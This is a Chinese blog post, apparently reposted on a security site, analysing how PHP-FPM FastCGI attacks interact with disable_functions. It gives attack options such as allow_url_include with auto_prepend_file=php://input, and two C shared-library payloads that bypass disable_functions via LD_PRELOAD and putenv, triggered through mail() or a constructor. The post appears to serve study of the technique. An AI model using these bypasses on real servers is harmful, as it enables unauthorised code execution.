<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】php內核分析-fpm和df的問題思考

    VSole2022-03-16 08:54:06

    這篇文章靈感是來自看了一篇文章《PHP內核分析-FPM和disable-function安全問題》然后其中學習到了很多東西。該篇文章已經非常詳細了,所以自己就簡單的記錄一下自己的思考,如文中有錯誤希望師傅們指出。

    介紹

    php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據 EG(ini_directives) 中獲取信息并打印。

     然后通過zend_disable_function()函數去禁止,簡單的說就是通過 func->handler= ZEND_FN(display_disabled_function); 修改了handler。

    而phpinfo?直是查看服務器php信息的可靠?式,但是在包含修改disable_function的參數攻擊FPM后,phpinfo已經顯示修改,但是測試函數仍然禁?。在fpm攻擊的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值為我們傳?的內容,?phpinfo展示的值就源于這?。

     還會將要禁?的函數字符串傳?fpm_php_disable 函數,再調? zend_disable_function 函數修改 func->handler完成禁?。

      

    所以說,包含 PHP_VALUE == disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息

    的 EG(ini_directives) ,也就是表?修改,對于已經禁?的函數?效的,但是可以通過FPM禁?新的函數。

    總結

    • disable_function 的本質是修改 func->handler 完成對函數的禁?。
    • 包含 PHP_VALUE ==disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表?修改,對于已經禁?的函數?效的,但是可以通過FPM禁?新的函數。
    • 攻擊FPM?較常?的有效利?選項是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。

    思考

    那么我看網上有一下介紹是通過fpm來繞過disable_function。那么是怎么實現??底層到底是什么?

    這里給出自己的答案,之所以說fpm能繞過df是因為通過配置 PHP_VALUE ==extension_dir +extension,然后我們上傳我們的so來加載執行。那為什么說加載so就可以繞過???

    是因為df是在模塊初始化階段的最后一步 加載so是在這個之前 可能是因為這個導致的rce(圖片是來自上述文章)

     

    下面是清楚點的。

    所以能夠繞過,然后想到了一葉飄零師傅的文章。

    LD_PRELOAD與putenv的配合使用,即LD_PRELOAD這個環境變量指定路徑的文件(也是so文件),會在其他文件被調用前,最先被調用而putenv可以設置環境變量。(圖片是一葉飄零師傅文章)

    而一葉飄零師傅文章中介紹了某一個php函數,我認為是在執行的過程中能fork子進程的函數(啟動外部程序的函數并能執行)然后我們hook該fork子進程,進行重寫,完成rce。

    例如:mail(‘’,’’,’’,’’);

    #include 
    #include 
    #include 
    void payload() {
            system("ls / > /tmp/sky");
    }
    int geteuid() 
    {
        if (getenv("LD_PRELOAD") == NULL) { return 0; }
        unsetenv("LD_PRELOAD");
        payload();
    }
    //編譯成so文件
    //gcc -c -fPIC hack.c -o hack.so
    

    還有imap_mail()、mb_send_mail()和error_log()函數等

    然后還有一個進化版本

    #define _GNU_SOURCE
    #include 
    #include 
    #include 
    
    __attribute__ ((__constructor__)) void angel (void){
        unsetenv("LD_PRELOAD");
        system("ls");
    }
    

    其中__attribute__ ((__constructor__))有如下說明

    1.It's run when a shared library is loaded, typically during program startup.
    2.That's how all GCC attributes are; presumably to distinguish them from function calls.
    3.The destructor is run when the shared library is unloaded, typically at program exit.
    1.它在加載共享庫時運行,通常在程序啟動時運行。//putenv("LD_PRELOAD=hack.so");
    2.所有GCC屬性都是這樣的;可能是為了將它們與函數調用區分開來。
    3.析構函數在卸載共享庫時運行,通常在程序退出時運行。
    

    所以我們就不需要找一個函數去觸發了。

    phphandler
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    php反序列化初探
    2023-04-23 09:50:02
    php中的反序列化漏洞通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。執行eval方法需要調用action()方法,action()方法的調用可以再ClassA的__destruct中調用
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    今天實踐的是ReconForce, 用workstation導入成功,但是掃描不出來地址,換成virtualbox, sudo netdiscover -r 192.168.56.0/24,
    好久沒做攻擊實踐了,今天看了一下,手里還攢著6個vulnhub的鏡像,算了一下,整好春節前把它們都實踐完,今天實踐的是Os-hackNos-3, 用workstation導入成功,但是掃描不出來地址,換成virtualbox, sudo netdiscover -r 192.168.56.0/24,
    內網滲透合集(三)
    2023-01-28 09:44:16
    jsp端口轉發滲透過程中,由于windows和linux的差別以及運行語言環境的限制導致端口轉發經常出現問題。于是自己寫了個簡單的JSP的端口轉發腳本。仿造 LCX的功能,具有正向、反向、監聽三種模式。對于目前數量眾多的JAVA WEB網站來說,可以比較方便的實現端口轉發。在這里發布出來,小伙伴們使用過程中,如果發現什么bug歡迎提交哈~參數說明/KPortTran.jsp?lip = local ip / 本地ip //一般為內網主機IP. lp = local port / 本地端口 //一般為內網主機端口
    PHP代碼審計(一) 安裝xdebug
    php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據 EG(ini_directives) 中獲取信息并打印。
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用鏈構造之旅。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类